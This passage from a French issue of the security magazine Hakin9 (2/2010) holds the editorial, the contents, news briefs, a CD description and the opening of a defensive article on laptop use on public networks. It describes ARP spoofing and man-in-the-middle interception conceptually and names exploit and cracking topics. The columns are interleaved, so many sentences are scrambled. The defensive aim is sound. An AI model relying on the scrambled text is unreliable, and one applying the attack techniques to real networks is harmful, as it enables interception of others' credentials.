Você está na página 1de 84

ÉDITORIAL

SÉCURITÉ WEB
& RÉSEAUX
Aujourd’hui, Internet est devenu la source de prédiléction des attaques qui
visent à voler l’identité, les données bancaires voire de l’argent. Vu le nombre
exorbitant d’attaques sur les serveurs ou sites web, la notion de sécurité
des systèmes informatiques et surtout de sécurité WEB reste au coeur des
préoccupations des internautes. Dans le présent numéro de Hakin9, je vous
invite à découvrir notre dossier sur la Sécurité WEB & Réseaux qui répond
à la volonté des intenautes de s’en protéger.

Je vous propose la lecture de l’article Précautions extrêmes dans les


réseaux publics qui vous permettra de connaître les risques relatifs à
l’utilisation des réseaux inconnus. L’article vous donne plein de conseils
pour protéger très sérieusement votre ordinateur portable.

Dans l’article Root distant pour un périphérique réseau, vous prendrez


connaissance de différents problèmes de sécurité caractéristiques des
périphériques réseau. Toujours dans le même esprit de protection sur le
WEB, je vous invite à lire l’article qui porte sur la sécurité des serveurs,
principales cibles d’attaques sur le Web. Je vous recommande également
l’article sur le vol de données bancaires par la méthode de plus en plus
répandue : l’électro-skimming. Grâce à cet article, vous connaîtrez les
techniques destinées à écouter les entrées au clavier pour les intercepter.

Les passionnés des téléphones portables apprécieront l’article sur la


sécurité des Iphones. Découvrez les premiers virus sous Iphone et les
faiblesses de Jailbreak, virus qui met en danger la confidentialité de vos
données.

Enfin, les linuxiens n’ont pas été oubliés : l’article Accroître la sécurité avec
SELinux leur fera découvrir la solution idéale pour tout serveur exposé sur
Internet : SELinux.

Bonne lecture à tous,


Rédactrice en chef
Aneta Mazur
aneta.mazur@hakin9.org

2/2010 HAKIN9 3
SOMMAIRE
DOSSIER FOCUS
10 Précautions extrêmes dans les 32 Les premiers virus Iphone sont
réseaux publics là !
WOJCIECH SMOL REMI LAURENT
Etes-vous conscients des risques que vous encourez Nous allons vous faire connaître les noms de
en utilisant les ressources des réseaux informatiques deux virus sous Iphone qui mettent en danger la
étrangers ? Pensez-vous à la sécurité de vos données confidentialités de vos données. Grâce à cet article,
stockées sur votre ordinateur ? De nos jours, protéger vous allez savoir comment les virus expoitent les
son ordinateur portable connecté à un réseau public vulnérabilités des informations stockées sur Iphone.
inconnu devient indisponsable vu le nombre de risques Enfin, vous allez découvrir comment s'en protéger !
que tout utlisateur encourt. Dans cet article, vous allez
connaître les bonnes pratiques et les outils pour 38 Accroître la sécurité avec
déployer une stratégie de défense efficace. SELinux
REGIS SENET
18 Serveurs Dédiés : protégez- De nombreuses entreprises déclarent avoir souffert
vous des attaques sur le Web de lourdes pertes financières suite à une attaque
SEBASTIEN DUDEK ou un problème technique liés à leurs systèmes
Les serveurs sont très souvent les cibles numéro d’information. Il est possible qu'une personne mal
un des attaques WEB. Dans cet article, nous allons intentionnée ait mis en évidence des failles de
aborder la question de la sécurité qui passera sécurité sur un serveur web. Pour éviter tout cela, il
par l'identifiaction des vecteurs d'attques et des existe des éléments de sécurité à installer en amont
vulnérabilités. Vous allez découvrir également les : SELinux est une solution de plus en plus répandue,
différents types d'attques après une analyse. que ce soit chez les professionnels ou même chez
les particuliers. Nous allons donc vous présenter un
peu plus en détail SELinux, les mécanismes de la
sécurité mise en place, la fiabilité de ce système et
enfin et son installation.

ATTAQUE
42 Attque IP Spoofing
REGIS SENET
La technique de l’IP Spoofing appelée aussi
l'usurpation d'adresse IP est une attaque informatique
qui consiste à remplacer l'adresse IP de l'expéditeur
d'un paquet IP par l'adresse IP d'une autre machine.
26 Root distant sur un périphérique Dans l'article de Régis Senet, vous allez découvrir
réseau comment se passe IP Spoofing et les moyens pour
MICHAL SAJDAK s'en protéger. L'article à ne pas manquer surtout pour
Etes-vous sûr que votre réseau local n'est pas utilisé les débutants !
dans un botnet ennemi ? L'auteur de cet article
vous présentera plusieurs problèmes de sécurité
caractéristiques pour les périphériques réseaux et vous
expliquera commenr accéder à distance au compte
root dans un système d'expolitation sur le routeur de
la classe SOHO. Finalement, vous allez apprendre
comment se protéger contre différents types d'attques
effectuées sur les périfériques réseaux.

4 HAKIN9 2/2010
SOMMAIRE
46 La sécurité des flux SMTP en 72 Sécurité des mots de passe
entreprise dans les fichiers PDF
TONY FACHAUX ALEXANDE LACAN
De nos jours, les emails représentent le principal Prenez-vous soin de vos mots de passe dans les
canal de communication d'une société. Comment fichiers PDF ? Sont-ils suffisamment complexes et
sécuriser les flux SMTP au sein d'un système assez longs pour faire face aux outils et hackers
d'information ? Le présent article vous montrera les qui tenteront de craquer votre mot de passe ? Cet
menaces acutelles liées aux mails et comment filtrer article vous explquera les différents niveaux de mots
le trafic SMTP d'une entreprise. de passe d'un fichier PDF et les types d'attques sur
PDF. Cet article est également accompagé d'une
52 Electro-skimming : Fuites présentation vidéo sur le CD joint au magazine. Sur la
électriques d'information vidéo, vous allez découvrir comment se passe l'attque
MARIUSZ GIBKI et crackage d'un mot de passe d'un fichier PDF.
Une nouvelle méthode pour soutirer l'argent de votre

TECHNIQUE
carte de crédit risque de prendre de l'ampleur. Elle
consiste à réaliser une écoute qui vise à intercepter
les entrées au clavier. Découvrez le fontionnement et
les types d'attques !
76 FreeBSD Local r00t exploit
56 Informatique légale sous REMI LAURENT
Windows 7 FreeBSD est le système d’exploitation de la famille des
WOJCIECH SMOL BSD le plus utilisé en tant que serveur. Sa philosophie
L'informatque légale se concentre principalement sur consiste à apporter le maximum d’efficacité tout en
la collecte et la protéction des preuves numériques gardant un haut niveau de sécurité. Cependant, un
des crimes. L'apparition d'un nouveau système exploit a été divulgué par Kingcope fin Novembre.
d'exploitation constitue un grand défi pour le domaine Vous allez pouvoir connaître cet exploit bien oldschool
d'informatique criminel. Découvrez dans cet article les permettant une escalade de privilèges pour devenir
mécanismes et les outils permettant d'effectuer des root. Dans cet article vous allez découvrir ce que c'est
investigations numériques sous Windows 7. que LD_Preload, l'expoloitation d'une vulnérabilité
applicative et ce que permet la variable LD_Preload.

PRATIQUE
64 SSL Defeating VARIA
DAVID TORTEL
Aujourd’hui le protocole de sécurisation SSL est utilisé 6 En Bref
afin d’assurer chiffrement, authenticité et intégrité d’une Découvrez les nouvelles du monde informatique et
trame transmise sur la toile. Très convoitées par les de la sécurité des systèmes informatiques.
personnes malveillantes, les vulnérabilités d’un tel
protocole donnent accès à des privilèges dangereux. 8 Sur le CD
Cet article tente de rappeler les différentes étapes Nous présentons le contenu de notre principale
de ce protocole de sécurisation avant d’en dessiner distribution Hakin9 ainsi que la description des
certaines faiblesses. vidéos.

2/2010 HAKIN9 5
EN BREF
professionnels ont été sécurisés par WPA, un outil qui permet aux cybercriminels
HADOPI pendant qu'aujourd'hui leur nombre atteint de monétiser leurs efforts sur le marché
Le ministre de la Culture Frédéric Mitterrand 72%. noir.
a confirmé que Hadopi - la haute autorité Le dernier mois de l'année 2009
pour la diffusion des oeuvres et la voit INF/Autorun une fois encore à la
protection des droits sur Internet, a enfin FLASH DANS L'IPHONE ? deuxième position. Ce type de menace
commencé à fonctionner. Le temps de Selon AppleInsider, Apple planifie en 2010 modifie le fichier autorun.inf enregistré sur
l'envoi des premiers avertissements aux d' obtenir quelques dizaines de millions les supports amovibles, permettant ainsi
quelques téléchargeurs qui passeront de flash à base de LED. La technologie d’exécuter des applications, nuisibles
dans les filets d'Hadopi au printemps, au Luxeon LED de Philips limiterait peut-être lors de l'insertion des médias dans
pire en juillet 2010 - n'a pas été annoncé l'intérêt des applications de lampe de l'ordinateur. Suivant dans le classement,
qu'en janvier 2010. poche disponibles en grand nombre sur Win32/Mabezat, un cheval de Troie
Le dernier obstacle pour que l’Hadopi l'App Store. Son avantage principale est ciblant les sites web en langue arabe. En
ait la voie totalement libre est l'opinion la possibilité d'un éclairage continu en Décembre, il a représenté 5,56% de tous
de la CNIL sans lequel le décret dont prenant de vidéos en situation d'éclairage les logiciels malveillants, rapportés par
a besoin l'autorité pour être efficace ne faible. ESET ThreatSense.Net ®.
peut pas être publié. La CNIL a déja Jusqu'à présent l'absence de flash Win32/Conficker est un autre habitué
retardé la mise en travail d' Hadopi en était le désavantage de l'iPhone marqué des statistiques de menaces françaises.
exigeant d'obtenir un projet de décret le plus souvent depuis son apparance. Il Avec 4,78%, le ver occupe la quatrième
concernant la procedure de sanction est possible qu'avec la prochaine version position. Le top 5 se conclut avec
appliquée aux téléchargeurs. Mais à de son produit la firme de Cupertino Win32/Sality. Contrairement à la plupart
part de ces difficultés, cette autorité surpassera sa concurrence: Droid/ des logiciels malveillants – constitués
est désormais prête à commencer son Milestone, le Pré ou le Nexus. habituellement d'un seul code malveillant
travail. - Win32/Sality est un corrupteur de
fichiers, qui implique le nettoyage des
RAPPORT DES MENACES fichiers infectés. Au mois de Décembre,
WIFI EN SÉCURITÉ La communauté de jeu en France est ce virus a représenté 3,10% de toutes les
L'état de la sécurisation des points toujours menacée par de gros volumes détections.
d'accès est loin d'être satisfaisante, de Troyens Win32/PSW.OnlineGames. Principales menaces d'ordinateurs en
notamment dans le grand public – Comme l'a montré ESET ThreatSense.Net France selon ESET ThreatSense.Net®
alarme la société WeFi, agrégateur de ®, le système statistique d'analyse de (décembre 2009)
points d'accès WiFi. Selon ses études données relatives aux malwares, ce
25% des réseaux européens sont type de menace représente une part de
protégés par aucun mot de passe, ce 8,87% de tous les logiciels malveillants ORDIANTEUR SANS CLAVIER ?
qui veut dire qu'un utilisateur sur quatre détectés en France. En volant des MSI présente des prototypes d'ordinateurs
ne prend pas la peine de crypter son données d'authentification pour les jeux portables où le clavier a été remplacé par
accès (clé WEP et WPA.) en ligne, Win32/PSW.OnlineGames est un second écran.
Ce résultat est inquiètant en tenant
compte que le WiFi est aujourd'hui
presque partout utilisé personnellement
ou professionnellement.
La société WiFi a constaté que les
réseaux les plus sécurisés se trouvent
en Allemagne et en Espagne (90%
des réseaux sécurisés), la France
a le résultat de 80% de sécurisation.
C'est donc au-dessus de la moyenne
européenne. La situation en Europe se
présente quand même mieux qu'aux
États-Unis, où 40% des réseaux WiFi ne
sont pas protégés.
Dans le domaine des réseaux WiFi
professionnels, la tendance est assez
similaire. Selon une étude de RSA, en
2004 à Paris 68% des points d'accès

6 HAKIN9 2/2010
NEWS

prévoit lobtention d'une 'autorisation afin


de pouvoir diffuser les images animées
sur la Toile. On peut se demander
si toute vidéo diffusée sur Internet
devra obenir un droit de diffusion.
Vraisemblablement, la mesure va
être concerner les Web TV et sites de
journaux. L'opposition italienne ne cesse
pas de crier au scandale en évoquant
l'argument de l'atteinte à la liberté
d'expression sur le Web.

UNE PANNE GIGANTESQUE DANS


10 ANS ?
Les consoles de jeux vidéo risquent de
nous coûter cher dans 10 ans. Comme
l'informe le cabinet Sia Conseil, les
consoles pourront consommer de plus
en plus d'électricité.
En se basant sur les études du cabinet
MSI propose des ordinateurs de conseil Sia, en 2020, les consoles de
portables sans clavier. En effet, toutes L'ENCYCLOPÉDIE À 7,5 MILLIONS jeux vidéo seraient tellement sollicitées
les fonctionnalités du claiver s repris un DE DOLLARS que la consommation d'électricité
second écran qui peut se transformer en 7,5 millions de dollars, c’est la somme annuelle en France pourrait dépasser
clavier tactile. Voici quelques usages : record que l’encyclopédie en ligne les 700 gigawatt-heure (GWh). Cela
Wikipédia a perçue en 2009. Constituée représenterait la consommation annuelle
• en tant que portable de dons faits de la part de lecteurs au site, d'une ville telle que Nice.
• tablette de dessin cette somme va permettre de financer le
• e-book site sans publicité en 2010. Que faire ? Changeons nos
Jimmy Wales, fondateur de Wikipédia habitudes !
MSI expose sur son stand également le l'explique ce phénomème en quelques Cetaines consoles de jeux vidéo
Jellow, un autre prototype d’ordinateu. mots : < Wikipédia n’est pas financée sont régulièrement épinglées comme
Doté d’un écran Full HD de 23 pouces, par la publicité, mais par vous. Wikipédia Nintendo par Greenpeace. Quant à Wii,
le Jellow embarque un clavie caché est le cinquième site Web le plus visité elle est moins gourmande en électricité.
derrière cet écran. La souris pourra servir au monde, et vos dons financent nos Certaines régions (par exemple
de télécommande, ou de téléphone. serveurs et nos quelques employés. Vos Bretagne et Provence entre autres) sont
Reste à savoir si le constructeur dons permettent de conserver Wikipédia davantage exposées à ce risuqe. En
envisagera de commercialiser ce libre d’accès et sans publicité. Vos effet, ces consoles pourraient ébranler
produit. dons permettent d’offrir un accès libre des systèmes électriques vulnérables
à la connaissance aux quatre coins du lorsqu'elles seraient utilisées en même
monde>. temps qu'autres appareils (télévisions
MISSION DE ZELNIK L’encyclopédie libre et gratuite a réuni évidemment, ordinateurs...).
En septembre 2009, la commission la somme de 7,5 millions de dollars Une inquiétante prévision de l'Agence
Zelnik a reçu la mission de compléter les en seulement huit semaines. Avec les internationale de l'énergie, qui s'attend
mresures prévues par la loi Hadopi. L'idée statistiques très promettants : 250 millions à ce que la consommation de toutes
est de mettre en place une taxte sur les de visiteurs par mois et 14 millions ces machines triple d'ici 2030 à 1 700
revenus de la publicité en ligne en visant d’articles dans 270 langues, Wikipédia est térawatt-heure (Twh).Il est tepms d'y
notamment les géants : Google, Microsoft le cinquième site le plus visité au monde penser sérieusement, car c'est l'équivalent
et Yahoo. Comme on pouvait s'en douter, ! Il est le seul dans le haut du classement de la consommation actuelle des
la mission de Zelnik suscite des réactions qui ne propose aucune publicité à ses ménages américains et japonais
offusquées de la part des fournisseurs de utilisateurs, et il ne fonctionne que grâce
services, visés par Nicolas Sarkozy qu'il à ces campagnes de dons.
juge coupables de favoriser une évasion Vidéo en Italie sous contrôle
fiscale . A partir du 27 janvier 2010, un décret

2/2010 HAKIN9 7
SUR LE CD

CD-ROM – HAKIN9.LIVE

BACKTRACK3 cette version de BackTrack3 hakin9.live Chaque paquet, configuration de


Ce numéro du magazine hakin9 est contient également des éditions noyau et script contenu dans BackTrack3
proposée avec hakin9.live (accompagnée spéciales d'applications commerciales est optimisé de manière à être utilisé par
du CD BackTrack3). Cette distribution est parmi les plus intéressantes du les experts en audits de sécurité et de
riche en applications et autres plugins. moment. Elles sont préparées tests d'intrusion. Les patchs de correction
BackTrack3 est la distribution Linux exclusivement à l'attention toute et autres scripts automatiques ont été
live la plus pertinente dans le registre particulière de nos lecteurs. ajoutés, appliqués ou développés de
de la sécurité informatique. Sans Pour pouvoir utiliser BackTrack3 manière à proposer un environnement
aucune installation préalable, la plate- hakin9.live, il vous suffit de démarrer votre agréable, intuitif et prêt à l'emploi.
forme d'analyse peut être directement ordinateur à partir du CD. Pour pouvoir Les quelques nouvelles fonctionnalités
démarrée à partir du CD-Rom et son utiliser les applications commerciales de BackTrack3 sont présentées avec
contenu entièrement accessible en fournies, inutile de démarrer votre ordinateur BackTrack3 hakin9.live. La fonctionnalité
quelques minutes seulement. Outre les à partir du CD : vous les trouverez dans le la plus importante est incontestablement
mises à jour et d'autres optimisations, dossier baptisé Applications. l'utilisation du noyau 2.6. mis à jour à l'aide
de plusieurs programmes de correction.
Un support pour la carte sans fil
Broadcom a également été rajouté et des
pilotes WiFi ont été élaborés de manière
à supporter les injections de paquets
bruts. L'intégration du cadre d'application
Metasploit2 et Metasploit3 est également
disponible ainsi qu'un alignement
permettant d'ouvrir des standards et des
cadres d'applications tels que ISSAF et
OSSTMM.

PDFCRACK
PDFCrack est un petit outil Open Source
(GNU/Linux) qui est destiné à craquer les
mots de passe des documents PDF. Pour
suivre pas à pas le craquage du mot de
passe, il ne vous reste qu'à regarder la
vidéo. Vous trouverez quelques conseils
de protéction dans l'article d' Alexandre
Lacan Sécurité des mots de passe dans
les fichiers PDF.

8 HAKIN9 2/2010
HAKIN9.LIVE

S’il vous est impossible de lire le CD. et que ce dernier n’est pas
endommagé physiquement, essayez de lire dans au moins 2
lecteurs différents.

En cas de problème avec votre CD, envoyez-nous un message


à l’adresse suivante : cd@hakin9.org

6/2008 HAKIN9 11
DOSSIER
WOJCIECH SMOL

Précautions
extrêmes dans les
réseaux publics
Degré de difficulté
Connecter un ordinateur portable à un réseau informatique public
inconnu est lié à un énorme risque. Toutes les opérations réseau
effectuées sont susceptibles d'être écoutées par un tiers et nos
données interceptées. Les risques peuvent être toutefois réduits
grâce à une stratégie de défense complexe.

L
e plus récent type d'ordinateur portable, le • d'intervention physique par des tiers (vol, utili-
netbook, a eu un grand succès. Des modèles sation temporaire de notre ordinateur portable,
de plus en plus sophistiqués d'ordinateurs etc.),
miniatures poussent comme des champignons. • d'intercepter l'ensemble de notre trafic réseau,
Un netbook typique pèse environ un kilogramme en particulier les logins et les mots de passe
et il est capable de travailler durant 10 heures via les périphériques réseaux qui servent d'in-
avec une batterie. Tous ces points encouragent termédiaires dans la transmission ou d'autres
les fans des gadgets mobiles d'utiliser les mini ordinateurs qui fonctionnent dans le même ré-
ordinateurs portables dans toutes les situations. seau,
CET ARTICLE Par ailleurs, de plus en plus d'institutions publiques • d'intercepter les données stockées sur notre
EXPLIQUE... et privées partagent sur leurs terrains les réseaux ordinateur par d'autres personnes qui se ser-
les risques relatifs à l'utilisa- informatiques avec et sans fil destinés à leurs vent du même réseau.
tion des réseaux informatiques
étrangers, visiteurs. Il est donc possible de voir des personnes
comment concevoir une stra-
naviguant sur Internet dans les cafés, les pubs, les Le projet Wall of Sheep a bien démontré à quel
tégie de défense multi-niveaux gares, les aéroports ou les halls d'hôtels. Les point l'utilisation des réseaux publics était dange-
pour protéger son ordinateur
portable, utilisateurs qui utilisent les ressources des réseaux reux et que le niveau de vigilance des utilisateurs
informatiques publics, sont-ils conscients des avancés des ordinateurs était très bas. WoS est
les outils supplémentaires pour
protéger un ordinateur portable risques qu'ils encourent ? La plupart d'entre eux une idée très intéressante d'un groupe de hac-
qui travaille dans un réseau
inconnu,
ne réfléchissent probablement pas un instant à kers qui porte des valeurs éducatives particulières.
la question de sécurité des données stockées sur Lors des conférences consacrées à la sécurité
les manières d'utiliser en toute
sécurité son ordinateur dans les leurs ordinateurs et envoyées lors d'utilisation d'un informatique, telles que Defcon ou Black Hat , un
réseaux publics, réseau étranger. groupe de spécialistes analyse de manière pas-
les bonnes pratiques dans sive le trafic réseau dans le réseau informatique
l'administration du système
d'exploitation et des applications Derrière la ligne de l'ennemi proposé aux invités. Les hackers ne crackent pas
utilisées. Quels sont donc les risques encourus suite à l'uti- les protections, ne déchiffrent pas les algorithmes
lisation des ressources dans un réseau informa- de chiffrage. La seule chose qu'ils recherchent, ce
CE QU'IL FAUT
SAVOIR... tique inconnu ? Énormes, bien évidemment ! Tout sont les logins et les mots de passe envoyés dans
d'abord, nous ne disposons d'aucune connaissan- un texte public à l'aide des protocoles réseau non
connaître les notions relatives
à l'administration des systèmes ce sur la configuration du réseau étranger, sur les chiffrés. Il s'avère que même parmi les personnes
d'exploitation des familles Win-
appareils connectés ni sur les autres utilisateurs. intéressées par la sécurité d'informations se trou-
dows et Linux,
Les risques les plus importants sont les possibi- vent des personnes inconscientes ou ignorantes
connaître les types élémentaires
des attaques réseau. lités : des risques relatifs à l'utilisation de ce type de pro-

10 HAKIN9 2/2010
PRÉCAUTIONS EXTRÊMES DANS LES RÉSEAUX PUBLICS

tocoles. Pendant chaque événement de ce La tactique DiD a été adaptée à la ter de manière permanente à un travail
type, les hackers réussissent à intercepter protection des systèmes informatiques dans un environnement hostile.
des dizaines d'identités numériques. Ces et est devenue l'une des plus efficaces
données sont ensuite publiées (logins et plus utilisées à nos jours. DiD consiste Conscience de l'utilisateur
entiers et mots de passe partiellement à créer plusieurs niveaux de protection du système
masqués) pendant la conférence sur une d'un système informatique. À l'instar du La beauté se trouve dans les yeux de celui
liste appelée Wall of Sheep. Les moutons front, si l'intrus surmonte l'une des bar- qui regarde alors que la sécurité du sys-
ainsi piégés ont ensuite la possibilité de rières, il trouvera une nouvelle protection. tème informatique repose dans l'esprit de
bénéficier des conseils des hackers pour Cette démarche augmente la probabilité son propriétaire. Un système informatique
savoir comment éviter ce type de risques de détecter l'attaquant, crée la possibilité sûr n'existe pas si ses utilisateurs ne sont
et prendre connaissance des outils et des d'utiliser des moyens de protection sup- pas conscients des risques encourus.
méthodes d'interception des mots de plémentaires et retarde considérablement La conscience des risques et la con-
passe qu'ils avaient utilisés. Pendant la une attaque. naissance des méthodes de protection
conférence Defcon 2005 à Las Vegas, les En réfléchissant aux moyens de pro- des informations privées doivent toujours
hackers ont réussi à intercepter les mots tection efficaces d'un ordinateur branché constituer le premier et, dans de nom-
de passe appartenant à l'ingénieur Cisco à un réseau public inconnu, je voudrais breux cas, le plus important niveau défen-
Systems Inc., à plusieurs employés de Ap- proposer la stratégie de défense multi- sif de la stratégie Defence in Depth. Être
ple Computer Inc. et à un professeur de niveaux, comme la manière la plus effi- conscient des risques encourus prend
Harvard ! Voyons donc comment être plus cace pour réduire les risques encourus. une signification toute particulière lorsque
malin que ce professeur lorsque vous utili- En prenant en considération la stratégie nous utilisons les ressources des réseaux
sez les réseaux publics. DiD, il faut aussi souligner que seule la étrangers.
présence simultanée de tous les niveaux Avant tout, si vous voulez accéder à
Defence in Depth (protections) proposés garantit la sécurité. Internet dans des endroits publics (aéro-
La stratégie de protection des systèmes L'absence d'une des barrières crée une ports, cybercafés, conférences), il ne faut
informatiques, connue comme Defence faille dans l'ensemble du système de pro- jamais utiliser les ordinateurs partagés
in Depth, consiste en une protection multi- tections et peut compromettre facilement avec des tierces personnes ! Si vous allez
niveaux des informations stockées dans le système protégé. dans un cybercafé, au lieu d'utiliser les or-
le système. Il est conseillé de regarder En créant la stratégie Defence in dinateurs présents, demandez l'autorisa-
dans un premier temps le sens premier Depth pour le système qui doit être bran- tion de brancher votre ordinateur portable.
du terme DiD. Il provient en effet du vo- ché à un réseau public inconnu, il faut Utiliser un ordinateur préparé par des tiers
cabulaire militaire et signifie une stratégie créer les niveaux de protection suivants peut avoir, entre autres, les conséquences
spécifique de défense contre les forces autour des données : suivantes :
ennemies attaquant. Une défense tradi-
tionnelle, qui fait concentrer toutes les for- • conscience de l'utilisateur, • nos logins, mots de passe et toutes
ces sur la ligne de front, se brise si elle est • accès physique, les informations saisies à l'aide du
interrompue dans un endroit et permet à • accès réseau au système, clavier peuvent être interceptés par
l'ennemi de pénétrer en profondeur le ter- • système d'exploitation et applications le keylogger logiciel ou matériel ins-
ritoire et d'entourer les autres troupes de qui fonctionnent sous son contrôle, tallé dans le système (il s'agit d'un
défense. La tactique DiD consiste en re- • accès aux données. programme ou d'un dispositif capable
vanche à répartir les unités de défense d'intercepter tous les caractères saisis
sur une zone plus large, en les regroupant Tous les niveaux de protection, décrits sur le clavier),
en troupes, selon les fonctions défensives en détails ci-dessous, doivent être créés • les mémoires flash (par exemple,
jouées, qui se complètent mutuellement. avant de brancher le système au réseau pendrive) utilisées lors du travail sur
Bien que l'attaquant soit alors capable de public. Protéger le système pendant qu'il un ordinateur étranger peuvent être
briser plus rapidement la ligne de front re- travaille dans un réseau étranger ou pire, infectées par des virus dangereux tout
lativement faible, il rencontrera au fur et à en utilisant ses ressources (par exem- simplement en branchant la mémoire
mesure qu'il avancera d'autres lignes de ple, téléchargement des mises à jours au système étranger. Par conséquent,
défense. Cette tactique, même si elle n'ar- pour un logiciel et un système d'exploita- ces virus peuvent être ensuite transfé-
rêtera pas l'ennemi, retardera sûrement tion dans un réseau étranger) n'a aucun rés sur l'ordinateur personnel ou pro-
son arrivée, ce qui constitue l'avantage sens et crée un risque supplémentaire ! fessionnel,
principal de cette stratégie. Vous êtes Le système doit donc être complètement • toutes les données (photos, docu-
sûrement nombreux à avoir eu recours protégé avant les événements qui néces- ments, pièces jointes des messages
à cette tactique pendant des batailles siteront un travail dans un réseau étranger électroniques, etc.) ouvertes, éditées
virtuelles dans les jeux de stratégie sur (déplacement, participation à une confé- ou enregistrées sur un ordinateur
l'ordinateur ! rence, etc.). Il est recommandé de l'adap- étranger peuvent être ensuite ouvertes

2/2010 HAKIN9 11
DOSSIER
sans problème par des tierces person- non chiffrée. Cela signifie que tant l'opéra- mission autorisées de manière à ce que
nes, même après leur suppression. teur du réseau étranger (en écoutant le tra- l'ensemble du trafic passe par un point
fic réseau transféré par les périphériques intermédiaire : l'ordinateur de l'intrus. Cette
Remarquez que même si le propriétaire centraux du réseau, par exemple, en utili- opération permet de participer aux trans-
d'un réseau étranger n'a pas de mauvai- sant la fonction Port Mirroring du commu- missions chiffrées à l'aide des protocoles
ses intentions et n'espionne pas lui-même tateur réseau, autrement dit, la réplication sécurisés, tels que SSL et SSH et en résul-
ses clients, le système que vous utilisez de l'ensemble du trafic réseau de n'importe tat, d'intercepter toutes les informations im-
a pu être modifié ou infecté par l'un des quel port sur un autre port choisi) que n'im- portantes (en particulier, les mots de passe
utilisateurs. Si vous ne disposez pas d'un porte quel utilisateur (en utilisant l'attaque d'accès aux services réseaux). Utiliser les
ordinateur portable ou si vous ne pouvez ARP Spoofing, n'importe quel client est ca- protocoles sécurisés dans un réseau in-
pas le prendre pour quelque raison que pable d'écouter le trafic réseau de toute formatique inconnu peut donc s'avérer très
cela soit, préparez votre propre Live CD une partie du réseau) peut connaître nos dangereux surtout que le fait de chiffrer les
pour cette occasion. En utilisant un ordina- mots de passe par des méthodes assez transmissions peut tromper la vigilance de
teur étranger, demandez si vous pouvez le simples. l'utilisateur. Premièrement, il faut se rendre
démarrer en utilisant votre propre système La solution consiste malheureusement compte qu'aucune connexion n'est com-
d'exploitation lancé à partir d'un CD, par à renoncer complètement à utiliser ces plètement sécurisée. Deuxièmement, il faut
exemple, Knoppix. Utiliser un tel système protocoles dangereux dans les réseaux faire attention à certains signaux, parfois
d'exploitation vous permettra d'être sûr qu'il étrangers. Un service donné peut parfois très subtiles, qui peuvent attester d'une at-
n'est pas modifié et ne contient aucun logi- être accessible via une autre interface taque en cours. Si notre connexion HTTPS
ciel malveillant. plus sûre. À titre d'exemple, au lieu d'utiliser passe par l'intermédiaire de l'ordinateur de
Ne pas utiliser un système d'exploita- des messageries électroniques, un client l'intrus, il est fort probable que notre naviga-
tion étranger ne doit pas tromper votre vigi- électronique configuré pour travailler le teur Internet affichera un avertissement lors
lance. Vous n'êtes toujours pas en sécurité plus souvent avec les protocoles POP3 et d'une tentative de connexion. Il peut s'agir
car le réseau étranger lui-même regorge SMTP, il est recommandé d'accéder à votre d'un message relatif à un certificat invalide
de risques. compte via une interface Web si vous tra- du serveur, à une absence de signature ou
Avant tout, en utilisant les réseaux pu- vaillez dans un réseau étranger. La plupart à une confirmation par un centre de cer-
blics, il faut absolument éviter de se servir des serveurs de messagerie proposent tification autorisé. Lors d'une connexion
des protocoles non chiffrés, comme : actuellement le support des message- SSH, une information sur le changement
ries au niveau du site Internet à l'aide d'une de la clé de l'hôte avec qui nous voulons
• Telnet, connexion chiffrée HTTPS. Cette solution nous connecter peut constituer ce signal
• HTTP, sera beaucoup plus sécurisée dans un d'avertissement. Il faut toujours prendre en
• SMTP, réseau étranger. considération ce type d'avertissement, en
• SNMP, Utiliser uniquement les protocoles chif- particulier, si vous utilisez un réseau étran-
• POP3, frés, comme HTTPS, n'autorise toutefois ger et arrêter immédiatement la connexion
• FTP. pas à moins de vigilance. La technique risquée. Une surcharge du réseau (suite à
ARP Spoofing susmentionnée permet à la multiplication du trafic par l'ordinateur
Utiliser les protocoles énumérés ci-dessus, un intrus d'effectuer des attaques très de l'intrus) ou des problèmes temporai-
en particulier dans un réseau inconnu, est dangereuses, comme Man in the middle. res pour se connecter peuvent également
source de problèmes. Tous ces protocoles L'attaque de ce type consiste à rediriger le constituer un autre symptôme de l'attaque
envoient des mots de passe sous forme trafic réseau entre deux parties de trans- ARP Spoofing en cours. Il est toutefois dif-
ficile de distinguer ce type de symptômes
des autres problèmes ordinaires dans le
fonctionnement du réseau. La protection
la plus efficace contre ce type d'attaques
consiste à utiliser le logiciel IDS (Intrusion
Detection System) ou de petits program-
mes dédiés à détecter les attaques ARP.
Puisque nous parlons de la conscien-
ce de l'utilisateur qui utilise des réseaux
inconnus, mentionnons également la po-
litique relative à la création des mots de
passe d'accès à chaque type des servi-
ces réseau. Chaque utilisateur de nom-
breux services doit réfléchir à la politique
Figure 1. Risques détectés par le programme Secunia Personal Software Inspector de gestion de ses propres mots de passe.

12 HAKIN9 2/2010
PRÉCAUTIONS EXTRÊMES DANS LES RÉSEAUX PUBLICS

Utiliser un seul mot de passe pour tous courir aux méthodes techniques spéciales, K-Slot ou Kensington Security Slot). Il s'agit
les services est bien évidemment inad- vous augmenterez considérablement la d'un verrou permettant de fixer un câble en
missible. La solution la plus sûre consiste sécurité de vos informations. Ce n'est tou- acier protégeant le matériel contre le vol
bien sûr à utiliser à chaque fois un autre tefois que la première étape sur le chemin à l'aide d'un verrou et un cadenas spécial
mot de passe mais puisque le nombre de de la sécurité complète. (avec un code ou une clé). Des solutions
comptes qu'un utilisateur Internet ordinaire concurrentes existent aussi, par exemple,
possède augmente sans cesse, cette so- Accès physique des verrous fixés sur les ports VGA, ce qui
lution n'est pas pratique et il est possible Lorsque vous utilisez un ordinateur portable ne nécessite plus un lien spécial. Il existe
d'oublier des mots de passe vu toutes les dans des endroits publics, il ne faut jamais également des protections électroniques
informations à retenir. La solution la plus oublier qu'il est facile de l'égarer (perte, vol, qui émettent un signal d'alarme lorsque la
raisonnable consisterait donc à utiliser un etc.) et comme il est facile pour les person- protection est enlevée.
seul mot de passe pour un type donné du nes non autorisées d'y accéder. Si toutefois, bien que l'ordinateur soit
service. À titre d'exemple, nous utilisons le Qu'est-ce que cela signifie du point de protégé par un câble en acier, il est volé,
même mot de passe (très puissant) pour vue de la sécurité de nos informations ? veillez à ce que vos données ne passent
tous nos comptes bancaires Internet, un D'énormes problèmes potentiels, bien évi- pas toutefois dans les mains de person-
autre mot de passe pour tous les comptes demment. Les appareils de l'infrastructure nes non autorisées. Seul le chiffrage du
de messageries électroniques, un autre informatique (ordinateurs, serveurs, péri- disque dur entier nous protégera contre
mot de passe encore pour tous les sites phériques réseau, imprimantes, etc.) sont cette possibilité. Pour ce faire, je vous
